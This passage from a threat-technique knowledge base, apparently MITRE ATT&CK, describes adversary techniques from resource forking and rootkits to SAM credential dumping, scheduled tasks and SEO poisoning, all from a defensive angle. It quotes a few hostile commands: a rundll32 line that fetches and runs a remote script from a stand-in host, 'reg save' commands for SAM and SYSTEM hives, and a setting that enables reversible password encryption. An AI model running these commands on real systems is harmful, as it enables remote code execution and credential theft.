Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).
T1564.009Resource ForkingAdversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using ls -l@ or xattr -l commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the /Resources folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)

Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)
T1496Resource HijackingAdversaries may leverage the resources of co-opted systems in order to solve resource intensive problems, which may impact system and/or hosted service availability.

One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)

Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)

Adversaries may also use malware that leverages a system’s network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents.(Citation: GoBotKR)
T1556.005Reversible EncryptionAn adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)

If the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:

1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters
2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters
3. Global LSA secret (G$MSRADIUSCHAPKEY)
4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)

With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)

An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory PowerShell module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to “Windows Server 2008” or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.
T1578.004Revert Cloud InstanceAn adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
T1536Revert Cloud InstanceAn adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)
T1036.002Right-to-Left OverrideAdversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.
T1207Rogue Domain ControllerAdversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)
T1542.004ROMMONkitAdversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.
T1014RootkitAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware. (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)
T1564.006Run Virtual InstanceAdversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)

Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)
T1218.011Rundll32Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).

Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"…\mshtml,RunHTMLApplication “;document.write();GetObject(“script:https[:]//www[.]example[.]com/malicious.sct”)” This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)

Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).

Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
T1085Rundll32The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.

Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"…\mshtml,RunHTMLApplication “;document.write();GetObject(“script:https[:]//www[.]example[.]com/malicious.sct”)” This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
T1565.003Runtime Data ManipulationAdversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
T1494Runtime Data ManipulationAdversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct Change Default File Association and Masquerading to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
T1562.009Safe Mode BootAdversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)

Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)

Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)
T1606.002SAML TokensAn adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions … element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)

An adversary may utilize Private Keys to compromise an organization’s token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from Steal Application Access Token and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.

An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to Use Alternate Authentication Material, which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)
T1596.005Scan DatabasesAdversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)

Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).
T1595.001Scanning IP BlocksAdversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

Adversaries may scan IP blocks in order to Gather Victim Network Information, such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services).
T1053.005Scheduled TaskAdversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated at utility could also be abused by adversaries (ex: At), though at.exe can not access tasks created with schtasks or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)

Adversaries may also create “hidden” scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from schtasks /query and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., Index value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)
T1053Scheduled Task/JobAdversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)

Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to System Binary Proxy Execution, adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)
T1029Scheduled TransferAdversaries may schedule data exfiltration to be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.

When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel or Exfiltration Over Alternative Protocol.
T1113Screen CaptureAdversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreenxwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)
T1180ScreensaverScreensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32</code>, and `C:\Windows\sysWOW64</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.`

``` The following screensaver settings are stored in the Registry (`HKCU\Control Panel\Desktop</code>) and could be manipulated to achieve persistence:` `` - `SCRNSAVE.exe` - set to malicious PE path - `ScreenSaveActive` - set to ‘1’ to enable the screensaver - `ScreenSaverIsSecure` - set to ‘0’ to not require a password to unlock - `ScreenSaveTimeout` - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017) `` ```
T1546.002ScreensaverAdversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32</code>, and `C:\Windows\sysWOW64</code> on 64-bit Windows systems, along with screensavers included with base Windows installations.`

``` The following screensaver settings are stored in the Registry (`HKCU\Control Panel\Desktop</code>) and could be manipulated to achieve persistence:` `` - `SCRNSAVE.exe` - set to malicious PE path - `ScreenSaveActive` - set to ‘1’ to enable the screensaver - `ScreenSaverIsSecure` - set to ‘0’ to not require a password to unlock - `ScreenSaveTimeout` - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017) `` ```
T1064ScriptingThis technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.

Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.

Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macros being allowed or that the user will accept to activate them.

Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
T1597Search Closed SourcesAdversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)

Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).
T1593.002Search EnginesAdversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).
T1596Search Open Technical DatabasesAdversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)

Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).
T1593Search Open Websites/DomainsAdversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: External Remote Services or Phishing).
T1594Search Victim-Owned WebsitesAdversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)

Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).
T1003.002Security Account ManagerAdversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.

A number of tools can be used to retrieve the SAM file through in-memory techniques:

- pwdumpx.exe
- gsecdump
- Mimikatz
- secretsdump.py

Alternatively, the SAM can be extracted from the Registry with Reg:

- reg save HKLM\sam sam
- reg save HKLM\system system

Creddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)

Notes:

- RID 500 account is the local, built-in administrator.
- RID 501 is the guest account.
- User accounts start with a RID of 1,000+.
T1063Security Software DiscoveryAdversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

### Windows

Example commands that can be used to obtain security software information are netshreg query with Regdir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

### Mac

It’s becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
T1518.001Security Software DiscoveryAdversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are netshreg query with Regdir with cmd, and Tasklist, but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the DescribeSecurityGroups action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)
T1547.005Security Support ProviderAdversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)
T1101Security Support ProviderWindows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user’s Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.
(Citation: Graeber 2014)
T1555.002Securityd MemoryAn adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)

In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)
T1167Securityd MemoryIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)

If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)
T1608.006SEO PoisoningAdversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)

To help facilitate Drive-by Compromise, adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as Drive-by Target) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)

Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)

SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)
T1583.004ServerAdversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Adversaries may use web servers to support support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations. Instead of compromising a third-party Server or renting a Virtual Private Server, adversaries may opt to configure and run their own servers in support of operations.

Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)
T1584.004ServerAdversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations.

Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.
T1505Server Software ComponentAdversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.(Citation: volexity_0day_sophos_FW)
T1583.007ServerlessAdversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.

